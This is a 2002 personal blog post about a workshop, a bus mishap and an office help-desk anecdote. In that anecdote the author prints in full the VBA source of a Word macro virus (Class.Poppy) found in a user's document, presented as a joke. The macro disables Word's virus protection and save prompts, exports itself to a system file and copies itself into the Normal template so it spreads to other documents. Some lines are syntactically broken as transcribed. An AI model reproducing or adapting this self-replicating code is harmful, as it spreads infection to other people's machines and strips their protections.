Free Web Hosting by Netfirms
Web Hosting by Netfirms | Free Domain Names by Netfirms

November 14, 2002

Hard at Work

I got up late today because i was too tired from the BMO workshop. It was very interesting, talked about their artificial intelligence program and programming models for stock valuations.

I was traveling on the bus this morning and realized how unsafe buses could be. There was a lady standing in front of the rear doors because there were so many people in the bus during rush hour. As the bus was about to stop, the lady was getting ready to get off. She stepped down on the platform and vrooom! the door opened right in front of her while the bus was still traveling at 40km/h. She fell forward and leaned backwards. Luckily, she was able to grab hold of a handle on the side of the bus.

Life's been hard and busy lately. I had this really funny problem from a user here today. Someone had written a macros in her MS Word document. Whenever she closes her Word, she gets a message saying that she is a big fat jerk! Hehehe... =). And the code.......

Sub AutoClose()
On Error GoTo out
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False

ad = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines

nt = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines

If nt>70 and ad>0
Then GoTo out
If nt<70 Then
Set host = NormalTemplate.VBProject.VBComponents.Item(1)
ActiveDocument.VBProject.VBComponents.Item(1).Name = host.Name
ActiveDocument.VBProject.VBComponents.Item(1).Export"c:\class.sys"
End If

If ad = 0 Then Set host = ActiveDocument.VBProject.VBComponents.Item(1)

If Day(Now) = 14 And (Month(Now)>5) Then MsgBox "I Think "& Application.UserName & " is a big stupid jerk!",0,"VicodinES Loves You / Class.Poppy"

host.codemodule.AddFromFile(c:\class.sys")

With host.codemodule
For x=1 To 4
.deletelines1
Next x
End With

If nt<70 Then
With host.codemodule
.replaceline 1,"Sub AutoClose()"
.replaceline 71,"Sub ToolsMacro()"
End With
End If

With host.codemodule
For x=2 To 72 Step 2
.replaceline x,""& Application.UserName & Now & Application.ActivePrinter & Application.ActiveWindow
Next x
End With

out:
If nt>70 And ad = 0 Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End Sub

Sub ToolsMacro()
End Sub()

Posted by SquallAngel at November 14, 2002 12:40 PM | TrackBack
Comments
Post a comment